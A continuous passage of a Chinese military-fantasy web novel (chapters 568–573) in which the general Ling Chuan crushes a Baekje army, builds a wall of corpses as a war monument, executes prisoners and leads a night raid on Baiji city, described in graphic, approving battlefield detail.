值得庆幸的是,这支队伍并未配备那造型奇特、威力惊人的弓箭,而是手持明晃晃的战刀,径直冲杀而来。 就在双方相距仅三十步时,亲兵营突然一字排开,随即所有人同时伸手探向腰间,取出一个个小巧精致的匣子弩。 “咻咻咻……” 机括叩动的脆响连成一片,密集的弩箭如暴雨般倾泻而出。 在如此近的距离下,弩箭的精准度和杀伤力被发挥到极致,朴居折的亲兵顿时倒下一大片,惨叫声此起彼伏。 打空弩匣后,亲兵营士兵迅速将其收起,动作如行云流水,整齐划一。随即他们提起战刀,如猛虎下山般扑向残存的敌军。 与主战场的宏大规模相比,这里的战斗规模虽小,但其激烈程度却毫不逊色。双方都是各自主将的亲兵,是精锐中的精锐,每一招每一式都是在生死间磨砺出来的杀人技。 然而,苍蝇率领的亲兵在人数、兵甲、士气及单兵战力上都明显更胜一筹,战斗从一开始就呈现出一面倒的态势,百济亲兵在凌厉的攻势下节节败退。 “杀!”朴居折似乎从绝望中苏醒过来,双目赤红,爆发出最后的斗志,他手中的战刀舞得虎虎生风,竟暂时逼退了数名周军亲兵。 只可惜为时已晚,几番厮杀后,他身边的亲兵已经所剩无几。 不远处,洛青云全歼了拦截的敌军后,也火速率部赶来增援。 “将军有令,活捉敌军主帅者,赏银千两,原地晋升一级!”苍蝇的吼声在战场上回荡。 这一声令下,亲兵们顿时如同打了鸡血般向朴居折发起猛攻,后者脸色剧变,他深知自己这颗头颅的价值。 几名亲兵一拥而上,想要拿下这份战功,然而朴居折也非庸手,手中战刀连连挥砍,刀光闪烁间竟将几名亲兵砍伤。 受伤的亲兵捂着伤口后退,脸上写满惊愕,他们没想到这个看似穷途末路的敌军元帅竟有如此实力。 “他是我的,别跟我抢!” 只听王麻子一声大吼,纵身扑上,手中苍生刀带着破空之声直劈朴居折面门。 “找死!”朴居折冷喝一声,举刀架住这一击,随即闪电般挥出一拳,重重砸在王麻子胸口。 王麻子闷哼一声,整个人从马背上倒飞出去,重重摔在地上。 幸亏坚实的铠甲卸去了大部分力道,否则这一拳足以让他骨断筋折。 苍蝇与沈珏对视一眼,默契地同时出手,两人一左一右,刀光如织,将朴居折逼得连连后退。 见势不妙,朴居折调转马头就要跑。 “想跑,门都没有!”王麻子咬牙爬起,一个箭步冲上前,手中钢刀狠狠斩向马腿。 战马发出一声凄厉的嘶鸣,趔趄着跑出几步后轰然倒地,朴居折被甩飞出去,还没等他起身,一杆冰冷的长槊已经架在了他的脖子上。 他抬眼望去,只见洛青云浑身浴血,冷毅的面容上看不出丝毫表情,那双眼睛却如利剑般将他牢牢锁定。 与此同时,主战场上的战斗早已失去悬念,变成了一面倒的屠杀。 雁翎骑在外围形成严密的封锁线,将残存的百济军困在战场中央,如同关在笼中待宰的羔羊。 前排的周军士兵手臂已经砍得酸麻,后排的士兵立即补上,每个人的脑海中都回荡着凌川那道冰冷的命令——赶尽杀绝,一个不留! 特别是禁军士兵,在目睹了莱州半岛沿途的惨状后,每个人心中都积压着无尽的怒火。 此刻,这些情绪被彻底释放出来,刀锋每一次落下,都带着积郁已久仇恨。 足足一个多时辰,这场屠杀才彻底结束。 整片战场血流成河,两万多具尸体横七竖八地铺满了大地,几乎看不到一寸裸露的土壤。 空气中弥漫着化不开的浓烈血腥味,哪怕是久经沙场的老兵在冷静下来后,也忍不住弯腰呕吐。 第一卷 第568章 筑京观 当满身狼狈的朴居折被押到凌川面前时,凌川只是冷漠地扫了他一眼,那眼神像是在看一具尸体。 “押回卑沙城!”凌川的声音没有任何波动,仿佛刚才发生的一切都与他无关。 苍蝇立即带人将朴居折押了下去。 “传令各军,清点战损与伤员,天黑之前扫清战场!”凌川继续下达命令,声音在尸横遍野的战场上显得格外清晰。 此战全歼百济两万主力军,连同之前的一万先锋军,足足三万大军葬身在卑沙城外。对于百济这种小国而言,这无疑是致命的打击。 但凌川深知,这还远远不够。 对于这种记仇不记恩的白眼狼,唯一的办法就是把他们打痛,彻底踩碎他们的脊梁骨,打到他们举国上下提到周人就会心生恐惧,连反抗的念头都不敢有。 只有这样,他们才不敢再冒犯大周。 至少,在这一代人死完之前,他们不敢再生出这样的心思。 于廻带着卑沙城中的一千余士兵前来帮忙打扫战场。 可刚抵达战场,士兵们看到这尸山血海的景象,绝大多数人都当场狂吐起来。 这不能怪他们,毕竟这是正常人的正常反应,尽管他们是边军,但所经历的多是小规模战斗,何曾见过如此‘壮观’的场面? 就在这时,浑身浴血的蓝少堂快步走来,抱拳禀报:“将军,缺少挖坑的器械,想要将这两万余尸体埋起来,实在是太难了!” 凌川眉头微蹙,目光如寒冰般扫过尸横遍野的战场,缓缓开口:“既然如此,那就在此用尸体混杂石头,砌一道墙,我要让这里成为百济人的噩梦!哪怕是若干年后,但凡来到此地的百济人,都会对我大周心生恐惧!” 此言一出,所有人都不由得倒吸一口凉气,他们的脑海中不约而同地冒出三个字——筑京观! 蓝少堂神色凝重,上前劝阻:“将军,末将担心此举会为您招来非议!” 蓝少堂说得很隐晦,与其说是非议,还不如说会为凌川招来千古骂名。 凌川不屑地冷笑一声,声音中带着几分讥诮:“无非就是一些假仁假义之人的口诛笔伐罢了!我之英雄,彼之仇寇。千古以来,我们民族的英雄人物,哪个不被外邦视为恶人?” 他顿了顿,目光扫过在场每一个将士的脸庞,声音陡然提高:“上了战场就是你死我亡,如果今日被屠杀的是我们,你觉得他们会对此而心生怜悯吗?” “末将明白了!”蓝少堂拱手应答,眼神变得无比坚定。 残阳如血,映照着这片刚刚经历生死搏杀的土地。 凌川屹立在尸山血海之中,宛如一尊战神,而他下令筑起的京观,将成为百济人心中永远的噩梦。 天黑之前,一道数百丈长、一丈余高的石墙如狰狞的巨蟒横贯大地。 两万余具尸体被混着砂石层层筑进墙中,墙的一面朝着百济国土,另一面则对着卑沙城地界。 残阳的余晖洒在这座新筑的京观上,将斑驳的血迹染成深褐色,空气中弥漫着死亡与石灰混合的刺鼻气味。 此后百年间,每年的秋夕节,无数百济人都会来到此处焚香祭拜,这座京观成为他们心中永远的伤痛与警示。 日落十分,大军返回卑沙城内。 于廻早已命人备好热食,凌川下令全军用餐后立即休整,明日便要跨过马訾水,杀入百济。 这道命令让原本疲惫不堪的士兵们精神为之一振。 毕竟近些年来,无论是东疆、西域还是北疆,大周大多处于被动防守态势,如此主动出击的机会实属罕见。 饭后,军营很快陷入寂静,军营之中鼾声一片,凌川则是与一众将领却齐聚节堂。 “战损统计出来了吗?”凌川的目光扫过众将,轻声问道。 洛青云上前一步:“回禀将军,此战我军阵亡五百余人,千余人受伤需要休养!” 凌川轻轻颔首,虽然战损比预想中要小,但听到这个数字,内心还是不免一阵揪心,毕竟这每一个数字背后都是一条鲜活的生命。 “好生安葬战死的兄弟,受伤的将是留在卑沙城休养。其余人备足三日军粮,明日卯时造饭,辰时开拔!” “遵命!”所有人齐声回答。 就在这时,一名亲兵快步来到门口,单膝跪地:“启禀将军!夜枭营传来密报!” 凌川接过密信,展开扫了一眼,嘴角泛起一丝浅笑:“好你个纪天禄,进展比我想象的还要快!”他的指尖在信纸上轻轻敲击,眼中闪过赞许之色。 按照计划,纪天禄率领的一千斥候是最先抵达辽东的,但在整个战役中始终未见夜枭营的身影。 这并非他们畏战,而是凌川交给了他们更重要的任务,率先潜入百济国,摸清敌情,为后续大军的反攻做好接应。 由于卑沙城没有沙盘,凌川只能展开地图研究,所有人的目光都跟随着他的手指在地图上缓缓移动,最终落在泗泆城的位置重重敲下。 “进入百济后,我们兵分推进,多管齐下!”凌川抬起头,目光如刀锋般扫过众将,“此行的目的只有一个——杀人!” 他的声音冰冷如铁,节堂内的空气仿佛随之凝固。 “但我在此立下一条军令,只杀兵和官,不杀百姓。除非他们拿起武器反抗,否则不得伤害平民。严禁掠夺财物,严禁奸淫妇女,违令者——斩!”最后那个字说得斩钉截铁,在节堂内回荡。 “遵命!”众将齐声应答。 随后凌川又交代了一些细节,便让众人散去休息,唯独将于廻留了下来。 “不知将军有何吩咐?”于廻抱拳行礼,神色恭敬。 凌川示意他在身旁坐下,语气平和:“于都尉不必多礼,明日我军离开后,受伤的弟兄们还要暂留卑沙城休养,还请都尉多多照应!” 于廻闻言,神色动容:“将军言重了!若非您及时派北系军同袍来援,两日前卑沙城就已化为废墟,我与麾下两千兄弟也早已成为百济军的刀下亡魂。您不仅救了我们,更救了卑沙城的万千百姓,守住了边军的荣耀!”他的声音微微发颤,每一个字都饱含真情。 第一卷 第569章 狗屁不是 凌川微微一笑,拍了拍他的肩膀:“于老哥言重了!你我皆为大周边军,何分东疆北疆?回头,我们就不从卑沙城返回了,今后这里,还要仰仗老哥继续镇守!” 于廻神色微动,敏锐地捕捉到话中重点,不从卑沙城返回,那就只能从海上撤离。 但他深知军纪,有些机密不便多问,当即郑重保证:“将军放心,只要我于廻还有一口气在,敌人就休想踏入卑沙城一步!” 凌川淡然一笑:“放心吧!如果不出意外,接下来的几十年,卑沙城应该不会再有战事了!” “将军,百济军的战力虽然稀疏平常,但你们毕竟人生地不熟,切不可大意!”于廻语重心长地叮嘱道。 “余老哥放心,数日前,我已经派出一千斥候去探路了!”凌川笑着说道。 听闻此言,于廻总算是松了一口气,随即起身告辞。 于廻前脚离开,张破虏后脚便找上门来。 此时的他已经没有了刚离开神都时的新鲜感,眉宇间带着凝重与复杂。 凌川看着他略显苍白的脸色,温和地问道:“找我有事?” 张破虏犹豫片刻,低声道:“将军,我……睡不着!”他的手指无意识地绞着衣角,这个在战场上勇猛拼杀的小将,此刻却像个迷茫的少年。 “是没吃饱,还是白天杀敌杀得不够尽兴?”凌川故意打趣道,试图缓解他的紧张。 “不是的……”张破虏摇了摇头,声音更低了,“我一闭上眼,脑子里就是那些尸山血海的画面。和昨天在蓬莱县一样,交战的时候没什么感觉,可战斗结束后回想起来,反而一阵后怕……” 他怯生生地看了凌川一眼,“将军,我是不是很没用?” 凌川走上前,轻轻拍了拍他的肩膀:“曾经也有个跟你差不多大的少年,第一次上战场时,直接被大军冲锋的场面吓呆了,眼睁睁看着同袍与敌人厮杀,自己却连刀都拿不稳。最后战斗胜利了,活着的人都立了军功,唯独他寸功未立,还是被人扶着走下战场的!” 张破虏闻言,终于露出一丝憨笑,露出两排洁白的牙齿:“从小爷爷就告诉我,张家的男儿可以战死沙场,但决不能当怂包。我要是像您说的那个人一样,他老人家估计得从神都跑到这里来狠狠揍我一顿!” 凌川笑着摇头:“你口中的那个怂包,就是如今的北疆主帅,卢大将军!” “啊……这!” 这句话如同惊雷般在张破虏耳边炸响,他脸上的笑容瞬间凝固,眼中写满了不可置信,卢大将军他自然知道,就连他爷爷都称赞其智勇双全,怎么可能有过如此不堪的过往? 凌川看出他的疑惑,说道:“你不用怀疑,这事是上次我和卢帅喝酒时,他亲口告诉我的!” 虽然没有一句安慰,但这个例子让张破虏的心态明显发生了变化。他深吸一口气,眼神重新变得明亮起来。 “将军,我之前交给您的作战策略,您看了吗?”张破虏眼中带着期盼,声音也恢复了往日的活力。 “看了!”凌川点头。 “还望将军指点一二!”张破虏诚恳地请求。 如果说在神都时,他对凌川的了解还仅限于战报和传闻,那么经过这两场大战,他真正见识到了这位当世名将的可怕之处。 虽然可能只看到了冰山一角,但已足够让他心生敬畏。 凌川注视着他,目光深邃:“想听真话还是假话?” “当然是真话!”张破虏不假思索地回答。 “你那份战略部署,在我看来……”凌川停顿了一下,一字一句地说道,“狗屁不是!” 尽管张破虏做足了心理准备,但听到‘狗屁不是’这四个字时,脸上的表情瞬间逐渐僵硬起来。 当时,凌川让他假设自己是主帅,率十万大军攻打大和,以此制定一份作战策略,离开神都之前,他确实将作战策略交给了凌川。 本以为凌川答应带自己来东疆,至少也算是过关了,之后不是在赶路就是在战斗,今夜正好趁此机会请教一下不足之处,谁知,竟被凌川评价为狗屁不是。 要知道,自己可是查阅了诸多史料,更是找来了有关大和的所有情报,反复推敲才制定了这一策略。 只见凌川缓缓坐下,说道:“我看得出来,你很用心,也没找老国公作弊,更是结合了兵法战术,只可惜,你忽略了一些最基本的东西!” 张破虏认真聆听,他相信,凌川绝不会无的放矢,也想要看看,自己犯了哪些低级错误。 张破虏深吸一口气,强迫自己冷静下来,他知道凌川从不会无的放矢,既然这么评价,必然有他的道理。他挺直腰板,目光重新变得坚定:“请将军指点迷津!” “其一,劳师远征,却轻敌冒进;其二,敌情不明,目标模糊;其三,分兵作战,缺少协作;其四……” 凌川的声音陡然加重,“未留退路,孤军深入!”他一口气列出四条罪状,每一条都直指兵家大忌。 张破虏的额头渗出细密的汗珠,这些道理他自幼熟读,自认在制定策略时已经充分考虑。 然而当凌川一一剖析时,他才惊觉自己的浅薄,他看到的只是表面的山川地势、兵力配置,却没能洞察战争背后的本质。 更致命的是,他在推演时一切都按照最理想的态势发展,全然没有考虑一旦战事陷入胶着,甚至遭遇败绩时,该如何保全这支远征大军。 凌川起身走到悬挂的地图前,手指划过浩瀚的海域:“只若我是敌军主帅,只需五万兵力,便可将你这十万大军一点点消耗在茫茫大海上。届时,你连登陆的机会都没有!” 若是旁人说出这番话,张破虏定会认为是在危言耸听,但这话从凌川口中说出,他却是深信不疑。 凌川再次抬起目光看向他,语气稍微缓和了些:“我知道,让一个初出茅庐的新兵制定十年远征的策略,确实强人所难!我给你三个月时间,待此战结束,你重新制定一份给我!” “属下遵命!”张破虏后退两步,对着凌川行了一礼,随后转身回营。 第一卷 第570章 玄夜银羽旗 次日黎明,一万大军踏着熹微的晨光整装开拔,铁骑扬起的烟尘在初升的朝阳下翻涌如金。 战马嘶鸣声中,队伍如一条黑色长龙,由北向南逶迤而行。 卑沙城墙上,一千余名守军肃立而立,他们目送着这支刚刚创造奇迹的军队远去,每个人的眼神中都交织着敬佩与不舍。 晨风拂过城头,旌旗猎猎作响,仿佛在为远征的将士送行。 得益于此前在莱州从新罗军中缴获的战马,加上昨日从朴居折麾下俘虏的数千战马,如今全军已能做到一人双骑。 这不仅大大提升了行军速度,更能有效保存战马的体力,为接下来的长途奔袭做好准备。 正午时分,大军抵达马訾水畔,只见江水湍急,浊浪滔滔,墨绿色的水流在阳光下泛着冷冽的光泽。 “将军,前方的桥梁已被毁坏!”洛青云快马返回禀报,眉宇间带着几分凝重。 原本横跨江面的一座石桥,此刻已断成数截,残骸散落在汹涌的江水中,显然,在得知朴居折的三万大军全军覆没后,百济方面立即采取了断桥自保的措施。 然而凌川听到这个消息,脸上并未露出丝毫忧虑之色,他一脸从容地望向江面,仿佛早已料到这般情形。 不多时,一支骑兵小队从下游方向疾驰而来,马蹄踏在江岸的碎石上,发出清脆的声响,领头之人正是棣州军校尉赵永年。 “属下参见将军!”赵永年翻身下马,单膝跪地行礼,甲胄在阳光下闪着寒光。 “桥搭好了吗?”凌川的目光越过他的肩头,投向远处的江面。 赵永年抬起头,朗声回答道:“浮桥设在距此二十里处,弟兄们正在加紧赶工,待我们赶到时应当就能使用了!” 凌川赞许地点头:“干得不错,前面带路吧!” 原来赵永年是昨夜接到凌川密令后,立即率领舰队从马訾水入海口逆流而上,专程前来接应,这一着暗棋,此刻终于显露出它的妙用。 就在此时,一名卑沙城的骑兵便快马追了上来。 “凌将军,青州密报!”那名骑兵大声喊道。 那名骑兵迅速来到跟前,翻身下马,双手呈上密信,凌川打开看了一眼,每天顿时一皱。 “让唐岿然和柳衡来见我!”凌川收起密信,对亲兵交代道。 很快,二人便快马来到凌川跟前,抱拳行礼:“将军,您叫我们?” 凌川点了点头,说道:“情况有变,两日前,大和正式出兵,看样子是要开打了,咱们得改变战术!” 片刻之后,凌川让周灏拿出随身纸笔,给林远图回了一封密信,信中直接告诉对方,自己已经进入百济国境内,无法撤军,但会以最快的速度支援东疆。 那名骑兵拿着密信快速返回,凌川给唐岿然与柳衡二人下达了命令:“你们一会跟着舰队,直接前往新罗,咱们兵分两路,双管齐下!” 二人一听,眼神中闪过一抹担忧之色,“将军,上一战百济国虽然损失惨重,但毕竟还有数万大军,咱们走了您这边兵力不足一万,恐怕……” “放心,百济军已经被咱们吓破了胆,剩下的根本不足为虑,眼下时间紧迫,必须尽快扫平这几个小国,否则,东疆战事吃紧,恐生变故!” 随后,大军沿江而下,在二十余里外的一处江面较窄的河段,看到了令人振奋的一幕。 赵永年与孙孝文率领的舰队已在江面上一字排开,数十艘蜈蚣船并排相连,船上铺设着厚实的木板,构成了一条宽阔平整的浮桥,骑兵可以直接策马而过,畅通无阻。 为确保浮桥稳固,指挥舰和八艘主力舰并排在蜈蚣船下游,用巨大的船身抵挡着湍急的水流,江水冲击着船身,激起层层白浪,但浮桥却在江面上岿然不动。 孙孝文快步迎上前来,抱拳禀报:“将军,浮桥已准备就绪,请大军过江!” 凌川环视这精心搭建的浮桥,脸上终于露出满意的神色:“干得漂亮,给你们二人记上一功!” “多谢将军!”二人齐声应答,声音中难掩激动。 虽然未能亲自上阵杀敌,但能在关键时刻为大军开辟通路,这份军功同样来之不易。 “待我们过江后,你们也立即撤离!”凌川嘱咐道,“按照既定路线沿海行进,随时做好接应准备!” “遵命!”二人郑重领命。 大军开始有序过江,战马踏在木板上的声音清脆而富有节奏,约莫半个时辰后,全军顺利渡过马訾水。 赵永年与孙孝文随即下令撤除浮桥,唐岿然的两千重甲军与柳衡的三千雁翎骑跟随舰队顺流而下,很快便消失在水天一色处。 过江后不久,凌川便接到了夜枭营送来的最新情报。他仔细阅过密报,当即传令:“全军听令,直奔慰礼城!若不想在野外过夜,就在天黑前拿下此城!” 慰礼城位于百济北境,据夜枭营情报显示,城中虽只有两千守军,却囤积了大量粮草,原本是为朴居折北征准备的补给。 然而当凌川率领大军抵达慰礼城下时,却见城门大开,城头上飘扬着夜枭营的营旗——玄夜银羽旗。 “夜枭营的旗帜都插上城头了!这是怎么回事?”洛青云满脸惊诧,下意识地握紧了手中的长枪。 就在他准备带人进城查探时,城头上传来一个熟悉的声音:“将军,城中酒肉都已备好,快带弟兄们进城吧!” 凌川抬头望去,只见纪天禄正站在城垛后,面带微笑地望着他们。 见到这位得力部下,凌川终于放下心来,当即率领大军入城,以防百济军队突然围城,他还是留下一支五百人的小队在城外驻守。 刚进城,纪天禄便快步迎上前来,数月不见,这位年轻将领明显成熟了许多。 或许是长期在北疆关外历练的缘故,他的脸庞变得粗糙了不少,眼神却更加锐利,举手投足间透着一股沉稳。 “这段时间不好过吧?”凌川拍了拍他的肩膀,语气中带着关切。 “都习惯了!”纪天禄爽朗一笑,“关外以天为被以地为床的日子,反倒让人觉得自在!” 凌川环顾四周,只见街道上空无一人,只有偶尔从门窗缝隙中透出的窥视目光。 “城里的百济守军呢?”凌川开口问道。 纪天禄脸上掠过一丝得意:“他们听说将军率军来袭,便准备逃跑,我带夜枭营的弟兄们截杀了一部分,剩下的全都关押起来了!” 凌川眉头一皱:“夜枭营在这里留了多少人?” “两百余人!” 听到这个数字,就连凌川也不禁为之动容。两百人对两千人,即便夜枭营个个都是精锐,这个举动也太过冒险。 “这次就算了,”凌川面色一沉,“下次再如此贪功冒进,我定要按军规处置!” 纪天禄急忙解释:“这些百济军实在不堪一击,更何况,属下总不能眼睁睁看着他们从眼皮子底下溜走啊……” “纪天禄!”凌川突然厉声喝道。 “属下在!”纪天禄愣了一下,随即挺直腰板应道。 “你给我记住,”凌川的目光异常凌厉,“夜枭营的每一个士兵,都是云州军千挑万选出来的,是花费重金培养的精锐。哪怕损失一个,都让我心痛不已。我把这支队伍交给你,是要你把他们打造成真正的精锐,一把无孔不入、所向披靡的尖刀,而不是让你们去跟敌人正面硬拼!” 第一卷 第571章 兵分三路 这番话说得极为严厉,纪天禄不禁低下了头:“属下明白了!” “这些百济军不过是乌合之众,放跑了也不足为虑。”凌川的语气稍缓,“更何况,他们跑得了和尚跑不了庙,我们大可日后一并清算。” 众人来到城中营地,只见纪天禄早已命人备好了丰盛的饭菜。 几口大锅里炖着香气四溢的肉食,鸡鸭、牛羊、猪肉分锅炖煮,任由将士们尽情享用,反正这些都是城中的物资,带也带不走多少,不如让将士们好好饱餐一顿。 在大周军中,虽然伙食不算差,但通常也只能勉强吃饱。 像这样肉敞开了吃的场面,是普通士兵想都不敢想的,一时间,营地中充满了欢声笑语,连日征战的疲惫似乎也在这顿盛宴中消散了几分。 饭后,凌川详细询问了纪天禄当地的情况,得知周军来袭的消息后,附近几座城池的守军早已闻风而逃,只剩下无处可去的百姓,只能躲在城中听天由命。 “将军,那些关押的百济士兵该如何处置?”纪天禄请示道。 “杀!”凌川冷声吐出一个字,眼神中充满了冷漠。 这些年来,百济倚仗大和帝国为靠山,屡屡侵扰大周边境,犯下无数罪行。凌川没有选择屠城,已经算是格外仁慈,至于这些官兵,自然没有放过的理由。 都说雪崩之时,没有一片雪花是无辜的。 严格来说,这些百济国的百姓也算不得无辜,然而,要让凌川将屠刀挥向手无寸铁的平民,他终究还是做不到。 凌川此行专为杀人而来,誓要用手中战刀,让这些背信弃义之辈心中留下挥之不去的噩梦。 当晚,纪天禄便奉命将关押的千余官兵尽数处决。 黎明时分,慰礼城墙上整齐悬挂着数排首级,在晨光中投下森然阴影,鲜血顺着城墙缓缓流淌,在青石上凝结成暗红色的斑痕。 大军继续向南推进,凌川从未想过要占领这片土地,更不需要原路撤回,因此撤离得干净利落,未留一兵一卒,战马踏过大地,扬起漫天烟尘,只留下一座座被恐惧笼罩的城池。 百济国疆域狭小,不似大周那般幅员辽阔,县城之间相距不过数十里。 这对凌川而言反倒是件好事,至少每日都能在城内休整。 一日之间,他们连克三座县城,实际上,这些城池的守军早已闻风而逃,大军几乎未遇任何抵抗,但将士们始终谨记凌川的军令,对平民秋毫无犯。 夜幕降临时,凌川在临时帅帐中召集众将,准备安排接下来的战术。 卑沙城外一战,禁军死伤两千余人,加上凌川的亲兵队和死字营,还有八千余兵力,他决定兵分三路,同时推进。 第一路由自己率领三百多亲兵外加两千禁军,第二路有蓝少堂率领三千禁军推进,第三路则是由洛青云率领三百多死字营成员,外加剩下的两千多禁军。 洛青云原本就是禁军出身,对麾下校尉颇为熟悉,但凌川还是语气凝重叮嘱:“我知在座各位皆是禁军翘楚,但丑话说在前头,若有谁胆敢临阵抗命,休怪我军法无情!” 禁军校尉张琰立即起身,抱拳道:“将军放心!青云大哥昔日在禁军时便是我们都尉,军中弟兄多是他一手栽培,他的为人与能力,我等心服口服!” 凌川微微颔首,指尖在地图上划过:“切记三条:不可贪功冒进、不可孤军深入、不可轻敌大意。遇上官兵格杀勿论,百姓若不抵抗不得伤害。但若遇百姓抵抗,也无需留情。十日之后,三路军马在泗泆城外会师!” “遵命!”众将齐声应和,声震营帐。 凌川起身,手指重点标注了几处要塞:“恩山津、纥石里、古龙郡、熊津城、豆奴城……这些皆是百济重镇,必有重兵把守,万万不可大意。如果实在没有把握,立即向友军求援,切莫逞强!” “明白!”蓝少堂与洛青云郑重应下。 紧接着,凌川转向一旁静候的纪天禄,说道:“你跟之前一样,继续率一千斥候先行探路。记住,非到万不得已,不得暴露行踪!” “遵命!”纪天禄抱拳领命,眼中闪过锐利的光芒。 当夜,纪天禄便率领数百斥候悄无声息地消失在夜色中。 次日拂晓,三路大军分道扬镳,按照既定路线向南推进,为确保相互策应,各军间距始终控制在百里之内。 凌川为每支队伍精确规划了每日的行程与驻扎地点,既避免有人掉队,也防止因冒进而陷入孤立无援的境地。 前两日的进军依旧未遇像样的抵抗,直到第三日,大军才首次遭遇百济正规军。 虽然敌军人数不少,但战力平平,装备更是简陋,多以藤甲、皮甲为主,铁甲难得一见。 在早已潜入城中的斥候里应外合下,一座座城池被轻松攻克。 大军所过之处,百济官员与将士尽数伏诛,即便跪地求饶也难逃一死。 战刀挥落间,一颗颗头颅滚落在地,随后被悬挂在城门之上,这一座座用首级装饰的城门,成了震慑百济军民的最有力警告。 三路大军如三柄利剑直插百济腹地,所到之处血雨腥风,恐惧如瘟疫般在城池间蔓延,哀鸿遍野。 圣居山乃是百济人心目中的圣山,也是百济国的南北分界线,宛如一道高耸的脊梁,横贯于大地之上,山腰之上常年被冰雪笼罩,只有三条险峻道路可通行。 熊津城、豆奴城、白黎城这三座城边建立在这三条险峻道路之上,百济国利用这几日的喘息之机,百济紧急调集重兵增援这三处关隘,企图阻挡周军南下。 一旦这些要塞被攻破,凌川就能长驱直入,横扫古龙平原,直逼百济国都泗泆城。 两百年前,大周曾出动五万大军征讨百济,兵锋所向披靡,最终却止步于圣居山北麓。 并非久攻不下,而是当时的主将认为强攻这三座城池代价太大,加之寒冬将至,不利久战,这才引兵北返。 也正是那一战,让百济在此后百年间不敢再犯大周边境。 第一卷 第572章 夜袭白黎城 如今,历史再度重演。 凌川的军队被死死拦在了圣居山以北,百济守军认定,当年五万大军都未能攻克此地,如今凌川手下连一万兵马都不到,根本不足为惧。 他们只需死守三处要塞,这三支周军便会不战自退。 凌川对此早有预料,半日前,夜枭营已将详细军情分别送至三位主将手中,那三处要塞各有五六千守军,占据地利之势,强攻绝非上策。 从表面看,最佳策略是集中全部兵力攻其一点,或许有望破城,但势必伤亡惨重,然而凌川并未如此选择,因为他心中早有计较。 “传令下去,全军原地休整,子时发动进攻!”凌川声音沉稳,不容置疑。 苍蝇眼中闪过一丝讶异,但跟随凌川日久,他深知这位年轻将军从不打无把握之仗,既然下令,必有十足把握。 凌川独自走到一块青石旁盘膝坐下,闭目调息。当他敞开识海天宫,一连串字符如星河流转,熠熠生辉,那正是玄妙无比的道藏。 这些日子只要得空,凌川便会静心修炼,每次运功,都有新的感悟,对道藏的理解也日益精深。 唯一让他不解的是,即便如今已能与七重境小宗师一战,体内却始终只有一道真气,这让他不禁怀疑,自己是否真的无法修炼出第二道真气? 不过令他安心的是,尽管真气数量未增,实力却在稳步提升,这让他想起临别时老院长的话,不再执着于此。 更奇妙的是,当真气在经脉中流转时,他能清晰地感受到体魄正在潜移默化中变得更强。 一个大周天运转完毕,凌川缓缓睁眼,只见夜空已是繁星点点。 “什么时辰了?”他望向不远处的苍蝇。 “快到子时了!”苍蝇立即回应,声音中透着期待。 凌川起身走向休整的士兵们,发现所有人早已整装待发,他召来岑屹与韩骞两位禁军校尉,开始部署任务:“你二人率领两千禁军在城外待命,见到城门开启,立即杀入!” 二人虽不明白城门将如何开启,但还是肃然抱拳:“遵命!” “苍蝇,带上亲兵队的兄弟随我来!” “是!” 苍蝇迅速集结亲兵,凌川却将大牛叫到一旁:“大牛,你留下!” 大牛脸上顿时写满失落:“将军,这是为什么?” “你的任务是看好周灏,别让他冲到最前面!”凌川语气郑重。 关于周灏的身份,军中虽有不少人知晓,但凌川早已下达封口令——军中只有周灏,没有三皇子! 大牛虽不情愿,但军令如山,再想到周灏的特殊身份,只得领命。 夜色如墨,凌川率领三百亲兵悄无声息地潜至白黎城东侧墙角,所有人轻装简从,连战马都留在了城外。 不多时,城墙上方垂下一道道麻绳软梯,张破虏刚要攀爬,却被凌川伸手拦住:“你走后面!” 张破虏眼神中闪过一抹失望,但经历了上次的事件之后,他懂得了什么叫无条件服从军令,果断让至一旁托举其他人上梯。 亲兵们依次攀梯而上,凌川却并没有借助软梯,只见他运转真气,以城墙外凸起的石块为着力点,几个起落便如灵燕般跃上城头。 白黎城的城墙远不如望云关高大,由毛石砌成,表面粗糙,正好借力。而望云关的城墙不仅石面光滑,还覆有夯土,根本无法徒手攀爬。 “将军!” 夜枭营的庞峰压低声音迎上来,他身后站着几名斥候,不远处横七竖八地躺着百济士兵的尸体。 凌川微微颔首:“其他人呢?” “将军放心,夜枭营所有弟兄均已就位,只等时机一到,立即行动!”庞峰语气坚定。 凌川站在城墙上极目远眺,夜色笼罩下的白黎城内,军营灯火摇曳,巡逻士兵的身影若隐若现,城楼方向戒备尤为森严,熊熊火把将那段城墙照得亮如白昼。 三百亲兵陆续登城,迅速向两侧散开警戒。 “人都到齐了吗?”凌川低声询问。 “全部到齐!”张破虏的声音虽轻却充满力量。 “按原定分队行动,一刻钟内必须抵达城门位置!”凌川果断下令。 “是!” 各小队立即分头行动。聂星寒率领的小队全是箭术好手,而凌川则亲自带着张破虏和数十名亲兵,如利剑般直插城门方向。 “啾啾啾……” 忽然,几声凄厉的哨音划破夜空,那是夜枭营特制的信哨,由墨巡仿照夜枭啼声制作,陈谓行与纪天禄还专门编了一套暗语,不同节奏的哨声代表不同的讯息。 这突如其来的哨声立即引起了百济军的警觉。 然而,就在他们展开清查时,城内突然多处火起,军营、粮草营、辎重营接连冒起浓烟,就连城墙和箭楼也窜起火苗。 若只是一两处失火尚可说是意外,但这么多地方同时起火,分明是有人精心策划。 “救火!”惊慌的吼叫声在城内四处响起。 火势迅速蔓延,呼喊声此起彼伏,转眼之间,整座白黎城陷入一片混乱。 趁此良机,凌川的亲兵营迅速推进,途中遭遇的百济士兵还来不及分辨他们的身份,就被果断解决。 另一边,聂星寒的小队率先抵达城楼,城楼上的守军数量不少,但明亮的火光也将他们完全暴露。 一名身披铠甲的百济将领紧盯着城外,尽管周军没有点火把,但在朦胧夜色中,仍能看见大片铁甲泛着的冷光。 “全都给我打起精神!如果不出所料,周军今晚必会来袭!”那将领沉声喝道,手不自觉地按在刀柄上,目光如鹰隼般扫视着城外那团令人压抑的黑影。 “着火啦!” 就在这千钧一发之际,城内传来声嘶力竭的呼喊,那名百济将领神色骤变,猛地转头望向城内冲天的火光。 “咻……” 就在这时,一道尖锐的破空声撕裂夜幕,寒芒在他骤然收缩的瞳孔中急速放大。 “嗤……” 箭矢精准地没入他的眉心,锋利的三棱箭镞贯穿头颅,从后脑透出一尺多长,鲜血顺着箭杆汩汩而下。 第一卷 第573章 一个不留 这突如其来的变故让守军措手不及,将领的尸体轰然倒地,双目圆睁,似乎至死都不明白这一箭从何而来。 紧接着,密集的破空声接连响起,城墙上的守军接二连三中箭倒地。 就在这混乱之际,苍蝇与沈珏各率数十名亲兵,如两道铁流从东西两侧沿城墙猛扑城楼。 